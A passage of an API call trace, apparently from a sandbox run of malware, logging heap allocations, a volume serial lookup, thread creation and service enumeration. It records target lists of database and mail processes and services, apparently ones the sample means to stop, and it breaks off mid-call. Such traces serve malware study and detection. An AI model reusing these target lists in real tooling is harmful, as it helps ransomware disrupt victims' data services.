[0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750960 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7509d8 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x73c600 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750b10 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7509f0 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750a98 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x6) returned 0x73c6c0 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750ac8 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750a38 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x73c5f0 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750a50 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750978 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x750a08 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750a20 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750b88 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750af8 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xe) returned 0x750918 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750b28 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x750bd0 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750a68 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750a80 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750930 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7508e8 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x73c6d0 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750ba0 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750990 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750ae0 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750b58 [0291.012] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73e358, Size=0x200) returned 0x750cc0 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750bb8 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x73c750 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750ab0 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750b40 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750b70 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750900 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7509a8 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750c00 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750ca8 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750c90 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750c48 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x750c30 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x750be8 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750c60 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750c18 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x750c78 [0291.012] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x750f40 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750ef8 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x751150 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x751168 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751108 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750fb8 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751060 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x73c770 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750f88 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750fe8 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751078 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x73c780 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751180 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x750fa0 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751090 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7511e0 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751120 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750f28 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750f10 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750fd0 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x7510a8 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x7510c0 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751198 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751048 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751018 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x7511b0 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7510f0 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7510d8 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751030 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751000 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750f70 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7511c8 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751138 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x73c610 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x6) returned 0x73c6e0 [0291.013] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x750f58 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751210 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7511f8 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751240 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751228 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x7512b8 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751258 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751270 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751288 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7512a0 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x751618 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751600 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751678 [0291.014] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x750cc0, Size=0x400) returned 0x7516d8 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751660 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751690 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x7516a8 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7516c0 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751630 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751648 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x751420 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751528 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7514e0 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7513c0 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x73c630 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751300 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x751360 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751378 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751540 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751438 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751558 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xe) returned 0x7515d0 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7515b8 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751318 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7513d8 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751450 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751468 [0291.014] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7515e8 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751588 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751330 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x73c7a0 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7513f0 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751408 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7515a0 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751348 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751480 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7514c8 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751390 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751570 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751498 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xe) returned 0x7513a8 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7514b0 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xe) returned 0x7514f8 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751510 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751cd8 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751ba0 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751cf0 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751d20 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x751c78 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751c00 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751c30 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751db0 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751b88 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751be8 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751c60 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751cc0 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751c48 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751d68 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751b10 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751d08 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751df8 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751d38 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751c18 [0291.015] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751dc8 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751b28 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751d50 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x751b40 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x12) returned 0x712fa0 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751b58 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751b70 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751bb8 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751bd0 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751de0 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751c90 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751ca8 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751d80 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751d98 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751eb8 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751ed0 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751e10 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751e28 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751e40 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751ea0 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751e58 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751e70 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751e88 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x752260 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x752278 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x752218 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x752290 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x752230 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xe) returned 0x752248 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x7522a8 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x73c640 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7522c0 [0291.016] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x73c6f0 [0291.017] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7522d8 [0291.017] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x752098 [0291.017] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x752128 [0291.017] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x751f18 [0291.017] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x751f30 [0291.017] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x752080 [0291.017] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x7521e8 [0291.017] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7521a0 [0291.017] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751f48 [0291.017] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x752068 [0291.017] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7520b0 [0291.017] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x7520c8 [0291.017] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x752038 [0291.017] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7521b8 [0291.017] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x73c5d0 [0291.017] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x751f78 [0291.017] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x752158 [0291.018] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x76fec0, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0291.018] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x77fec8 | out: hHeap=0x700000) returned 1 [0291.018] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x76fec0 | out: hHeap=0x700000) returned 1 [0291.021] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x75feb8, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0291.021] lstrlenW (lpString="C:\\") returned 3 [0291.021] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0291.021] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75feb8 | out: hHeap=0x700000) returned 1 [0291.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x73f890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0291.026] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x797b20, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0291.026] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7a7b28 | out: hHeap=0x700000) returned 1 [0291.026] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x797b20 | out: hHeap=0x700000) returned 1 [0291.028] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x76fed8, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0291.028] lstrlenW (lpString="C:\\") returned 3 [0291.028] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0291.028] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x76fed8 | out: hHeap=0x700000) returned 1 [0291.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x75feb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c [0291.030] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7165f0*=0x258, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 89 os_tid = 0xf60 Thread: id = 91 os_tid = 0xf6c [0291.054] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x7979c8 [0291.054] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7979c8, Size=0x20) returned 0x737fd8 [0291.054] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x737fd8, Size=0x40) returned 0x7126d8 [0291.054] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7126d8, Size=0x80) returned 0x74f8d8 [0291.054] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x74f8d8, Size=0x100) returned 0x790318 [0291.054] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x7978c0 [0291.054] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7978c0, Size=0x20) returned 0x738258 [0291.054] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x738258, Size=0x40) returned 0x7126d8 [0291.054] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7126d8, Size=0x80) returned 0x750598 [0291.054] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x750598, Size=0x100) returned 0x790000 [0291.054] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x7979c8 [0291.054] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x4) returned 0x795fd8 [0291.054] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x797848 [0291.054] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x795fd8, Size=0x8) returned 0x796118 [0291.054] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x14) returned 0x712f40 [0291.054] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x796118, Size=0x10) returned 0x7978c0 [0291.054] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x18) returned 0x713160 [0291.054] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1a) returned 0x738028 [0291.055] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7978c0, Size=0x20) returned 0x7382d0 [0291.055] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1c) returned 0x738258 [0291.055] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x16) returned 0x712ee0 [0291.055] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1a) returned 0x738118 [0291.055] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x7978d8 [0291.055] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x4) returned 0x7960a8 [0291.055] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x40) returned 0x712cc0 [0291.055] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7960a8, Size=0x8) returned 0x796048 [0291.055] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x3c) returned 0x712d08 [0291.055] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x796048, Size=0x10) returned 0x797800 [0291.055] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x14) returned 0x713180 [0291.055] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x18) returned 0x7938e0 [0291.055] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x797800, Size=0x20) returned 0x738320 [0291.055] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x24) returned 0x713298 [0291.055] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0291.055] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x790318 | out: hHeap=0x700000) returned 1 [0291.055] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0291.055] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x790000 | out: hHeap=0x700000) returned 1 [0291.055] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x755e90 [0291.056] EnumServicesStatusExW (in: hSCManager=0x755e90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 0 [0291.056] GetLastError () returned 0xea [0291.056] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1c30) returned 0x755fd8 [0291.056] EnumServicesStatusExW (in: hSCManager=0x755e90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x755fd8, cbBufSize=0x1c30, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x755fd8, 